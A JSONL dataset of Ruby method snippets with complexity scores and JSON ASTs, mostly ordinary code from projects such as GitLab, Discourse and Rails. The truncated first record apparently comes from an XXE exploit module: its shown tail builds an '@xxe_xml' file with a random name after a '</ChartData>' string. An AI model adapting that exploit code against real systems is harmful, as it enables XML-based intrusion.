</ChartData>\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@xxe_xml\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[12]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[12]}]}]},{\"type\":\"str\",\"children\":[\".xml\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}","id":"3b669f93-563b-4ba8-aca2-237881ffe81d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/integrations/base/mock_ci.rb","start_line":65,"raw_source":"def commit_status_path(sha)\n          Gitlab::Utils.append_path(\n            mock_service_url,\n            \"#{project.namespace.path}/#{project.path}/status/#{sha}.json\")\n        end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"commit_status_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sha\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Utils\"]},\"append_path\",{\"type\":\"send\",\"children\":[null,\"mock_service_url\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"namespace\"]},\"path\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"path\"]}]},{\"type\":\"str\",\"children\":[\"/status/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sha\"]}]},{\"type\":\"str\",\"children\":[\".json\"]}]}]}]}","id":"04a63856-0646-483b-8000-d4664688a7da"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/automation_worker.rb","start_line":12,"raw_source":"def container_environment_variables\n    super.merge(\"AUTOMATION_JOB_SERVICE_ACCOUNT\" => ENV.fetch(\"WORKER_SERVICE_ACCOUNT\"))\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"container_environment_variables\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"AUTOMATION_JOB_SERVICE_ACCOUNT\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"WORKER_SERVICE_ACCOUNT\"]}]}]}]}]}]}","id":"9c2ef4f4-558b-48ba-8621-c4a6882980f2"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20120425145456_add_display_username_to_users.rb","start_line":4,"raw_source":"def up\n    add_column :users, :display_username, :string\n    execute \"UPDATE users SET display_username = username\"\n    execute \"UPDATE users SET username = REPLACE(username, ' ', '')\"\n    add_index :users, :username, unique: true\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"sym\",\"children\":[\"display_username\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"UPDATE users SET display_username = username\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"UPDATE users SET username = REPLACE(username, ' ', '')\"]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"8e2dbbb5-c47c-430c-9600-541b183b00a0"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20121129184948_remove_email_token_from_users.rb","start_line":4,"raw_source":"def up\n    execute \"INSERT INTO email_tokens (user_id, email, token, created_at, updated_at)\n              SELECT id, email, email_token, CURRENT_TIMESTAMP, CURRENT_TIMESTAMP\n              FROM users WHERE email_token IS NOT NULL\"\n\n    remove_column :users, :email_token\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT INTO email_tokens (user_id, email, token, created_at, updated_at)\\n\"]},{\"type\":\"str\",\"children\":[\"              SELECT id, email, email_token, CURRENT_TIMESTAMP, CURRENT_TIMESTAMP\\n\"]},{\"type\":\"str\",\"children\":[\"              FROM users WHERE email_token IS NOT NULL\"]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"sym\",\"children\":[\"email_token\"]}]}]}]}","id":"aaedfa8e-6949-4da5-9c5e-10c0ccfce7e9"}
{"repo_name":"hooks","file_path":"./repos/hooks/lib/hooks/plugins/auth/hmac.rb","start_line":352,"raw_source":"def self.format_signature(hash, config)\n          format_style = FORMATS[config[:format]]\n\n          case format_style\n          when :algorithm_prefixed\n            # Algorithm-prefixed format: \"sha256=abc123...\" (used by GitHub, GitLab, etc.)\n            \"#{config[:algorithm]}=#{hash}\"\n          when :hash_only\n            # Hash-only format: \"abc123...\" (used by Shopify, etc.)\n            hash\n          when :version_prefixed\n            # Version-prefixed format: \"v0=abc123...\" (used by Slack, etc.)\n            \"#{config[:version_prefix]}=#{hash}\"\n          else\n            # Default to algorithm-prefixed format\n            \"#{config[:algorithm]}=#{hash}\"\n          end\n        end","complexity_score":11.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"format_signature\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]},{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"format_style\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FORMATS\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"format\"]}]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format_style\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm_prefixed\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"algorithm\"]}]}]},{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"hash_only\"]},{\"type\":\"lvar\",\"children\":[\"hash\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"version_prefixed\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"version_prefix\"]}]}]},{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"algorithm\"]}]}]},{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]}]}]}]}","id":"38515465-d0a3-4497-9804-f5450c1feae5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/tree_summary.rb","start_line":55,"raw_source":"def fetch_logs\n      logs = summarize\n\n      [logs.first(limit).as_json, next_offset(logs.size)]\n    end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_logs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"logs\",{\"type\":\"send\",\"children\":[null,\"summarize\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logs\"]},\"first\",{\"type\":\"send\",\"children\":[null,\"limit\"]}]},\"as_json\"]},{\"type\":\"send\",\"children\":[null,\"next_offset\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logs\"]},\"size\"]}]}]}]}]}","id":"cbd7a08d-00a7-4549-be7f-bcc2c080f3fe"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/grids/app/services/grids/set_attributes_service.rb","start_line":105,"raw_source":"def match_widget(widget_map, widget)\n    available_map_keys = widget_map.select { |_, v| v.nil? }.keys\n\n    if model.persisted?\n      available_map_keys.find { |w| w.id == widget.id }\n    else\n      available_map_keys.find { |w| w.identifier == widget.identifier }\n    end\n  end","complexity_score":21.3,"ast_json":"{\"type\":\"def\",\"children\":[\"match_widget\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"widget_map\"]},{\"type\":\"arg\",\"children\":[\"widget\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"available_map_keys\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"widget_map\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"nil?\"]}]},\"keys\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"persisted?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"available_map_keys\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"w\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"widget\"]},\"id\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"available_map_keys\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"w\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"identifier\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"widget\"]},\"identifier\"]}]}]}]}]}]}","id":"d4793810-0908-472a-9d42-cc1e5839ef13"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/parameter_alignment.rb","start_line":93,"raw_source":"def message(_node)\n          fixed_indentation? ? FIXED_INDENT_MSG : ALIGN_PARAMS_MSG\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fixed_indentation?\"]},{\"type\":\"const\",\"children\":[null,\"FIXED_INDENT_MSG\"]},{\"type\":\"const\",\"children\":[null,\"ALIGN_PARAMS_MSG\"]}]}]}","id":"8ae6e032-74e7-4e33-bac6-d34b6614160e"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/database/connection.rb","start_line":108,"raw_source":"def setup_fork_handling\n      before_hook = ::Migrations::ForkManager.before_fork { close_connection(keep_path: true) }\n\n      after_hook =\n        ::Migrations::ForkManager.after_fork_parent do\n          @db = self.class.open_database(path: @path) if @path\n        end\n\n      [before_hook, after_hook]\n    end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup_fork_handling\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"before_hook\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Migrations\"]},\"ForkManager\"]},\"before_fork\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"close_connection\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"keep_path\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"after_hook\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Migrations\"]},\"ForkManager\"]},\"after_fork_parent\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@path\"]},{\"type\":\"ivasgn\",\"children\":[\"@db\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"open_database\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"ivar\",\"children\":[\"@path\"]}]}]}]}]},null]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"before_hook\"]},{\"type\":\"lvar\",\"children\":[\"after_hook\"]}]}]}]}","id":"8f6ed0e7-1b4f-444c-b914-d754758885cc"}
{"repo_name":"rails","file_path":"./repos/rails/actionmailbox/app/controllers/action_mailbox/ingresses/mailgun/inbound_emails_controller.rb","start_line":91,"raw_source":"def authenticated?\n          signed? && recent?\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"authenticated?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"signed?\"]},{\"type\":\"send\",\"children\":[null,\"recent?\"]}]}]}","id":"2928ca71-ff01-4d67-891a-7185041fb45a"}
{"repo_name":"liquid","file_path":"./repos/liquid/lib/liquid/block_body.rb","start_line":248,"raw_source":"def create_variable(token, parse_context)\n      if token.end_with?(\"}}\")\n        i = 2\n        i = 3 if token[i] == \"-\"\n        parse_end = token.length - 3\n        parse_end -= 1 if token[parse_end] == \"-\"\n        markup_end = parse_end - i + 1\n        markup = markup_end <= 0 ? \"\" : token.slice(i, markup_end)\n\n        return Variable.new(markup, parse_context)\n      end\n\n      BlockBody.raise_missing_variable_terminator(token, parse_context)\n    end","complexity_score":31.1,"ast_json":"{\"type\":\"def\",\"children\":[\"create_variable\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"token\"]},{\"type\":\"arg\",\"children\":[\"parse_context\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"}}\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"i\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"-\"]}]},{\"type\":\"lvasgn\",\"children\":[\"i\",{\"type\":\"int\",\"children\":[3]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"parse_end\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"length\"]},\"-\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"parse_end\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"-\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parse_end\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"markup_end\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parse_end\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"i\"]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"markup\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"markup_end\"]},\"<=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"slice\",{\"type\":\"lvar\",\"children\":[\"i\"]},{\"type\":\"lvar\",\"children\":[\"markup_end\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Variable\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"markup\"]},{\"type\":\"lvar\",\"children\":[\"parse_context\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BlockBody\"]},\"raise_missing_variable_terminator\",{\"type\":\"lvar\",\"children\":[\"token\"]},{\"type\":\"lvar\",\"children\":[\"parse_context\"]}]}]}]}","id":"9147cc92-2ccd-4cc0-a2a3-21b730969f97"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/build.rb","start_line":901,"raw_source":"def artifacts_expire_in\n      artifacts_expire_at - Time.current if artifacts_expire_at\n    end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"artifacts_expire_in\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"artifacts_expire_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"artifacts_expire_at\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]},null]}]}","id":"d4efdca5-6806-4dde-b5ef-17a41a1b9775"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/concerns/users/participable_service.rb","start_line":43,"raw_source":"def sorted(users)\n      users.uniq.to_a.compact.sort_by(&:username).tap do |users|\n        preload_status(users)\n      end\n    end","complexity_score":10.5,"ast_json":"{\"type\":\"def\",\"children\":[\"sorted\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"users\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"uniq\"]},\"to_a\"]},\"compact\"]},\"sort_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]}]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"users\"]}]},{\"type\":\"send\",\"children\":[null,\"preload_status\",{\"type\":\"lvar\",\"children\":[\"users\"]}]}]}]}","id":"224c3602-4315-4feb-97ab-5107a85d0ab1"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/chargeback_vm.rb","start_line":90,"raw_source":"def self.where_clause(records, options, region)\n    scope = records.where(:resource_type => \"VmOrTemplate\")\n    if options[:tag] && (@report_user.nil? || !@report_user.self_service?)\n      scope_with_current_tags = scope.where(:resource => Vm.find_tagged_with(:any => @options[:tag], :ns => '*'))\n      scope.for_tag_names(Array(options[:tag]).flatten.map { |t| t.split(\"/\")[2..-1] }).or(scope_with_current_tags)\n    else\n      scope.where(:resource => vms(region))\n    end\n  end","complexity_score":33.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"where_clause\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"records\"]},{\"type\":\"arg\",\"children\":[\"options\"]},{\"type\":\"arg\",\"children\":[\"region\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource_type\"]},{\"type\":\"str\",\"children\":[\"VmOrTemplate\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tag\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@report_user\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@report_user\"]},\"self_service?\"]},\"!\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scope_with_current_tags\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Vm\"]},\"find_tagged_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"any\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tag\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ns\"]},{\"type\":\"str\",\"children\":[\"*\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"for_tag_names\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tag\"]}]}]},\"flatten\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"split\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[-1]}]}]}]}]},\"or\",{\"type\":\"lvar\",\"children\":[\"scope_with_current_tags\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource\"]},{\"type\":\"send\",\"children\":[null,\"vms\",{\"type\":\"lvar\",\"children\":[\"region\"]}]}]}]}]}]}]}]}","id":"e4f5b1cb-a8d7-46ea-819e-a5c37ccedcf6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/mutations/work_items/add_closing_merge_request.rb","start_line":32,"raw_source":"def resolve(id:, merge_request_reference:, context_namespace_path: nil)\n        work_item = authorized_find!(id: id)\n\n        result = ::WorkItems::ClosingMergeRequests::CreateService.new(\n          current_user: current_user,\n          work_item: work_item,\n          merge_request_reference: merge_request_reference,\n          namespace_path: context_namespace_path\n        ).execute\n\n        {\n          work_item: result.success? ? work_item : nil,\n          closing_merge_request: result.success? ? result[:merge_request_closing_issue] : nil,\n          errors: result.errors\n        }\n      rescue ::WorkItems::ClosingMergeRequests::CreateService::ResourceNotAvailable\n        raise_resource_not_available_error!\n      end","complexity_score":17.2,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"id\"]},{\"type\":\"kwarg\",\"children\":[\"merge_request_reference\"]},{\"type\":\"kwoptarg\",\"children\":[\"context_namespace_path\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"work_item\",{\"type\":\"send\",\"children\":[null,\"authorized_find!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"WorkItems\"]},\"ClosingMergeRequests\"]},\"CreateService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"work_item\"]},{\"type\":\"lvar\",\"children\":[\"work_item\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merge_request_reference\"]},{\"type\":\"lvar\",\"children\":[\"merge_request_reference\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_path\"]},{\"type\":\"lvar\",\"children\":[\"context_namespace_path\"]}]}]}]},\"execute\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"work_item\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"success?\"]},{\"type\":\"lvar\",\"children\":[\"work_item\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"closing_merge_request\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"success?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"merge_request_closing_issue\"]}]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"errors\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"WorkItems\"]},\"ClosingMergeRequests\"]},\"CreateService\"]},\"ResourceNotAvailable\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise_resource_not_available_error!\"]}]},null]}]}","id":"67620846-e6f0-4f8b-90d4-5057a99dcb9c"}
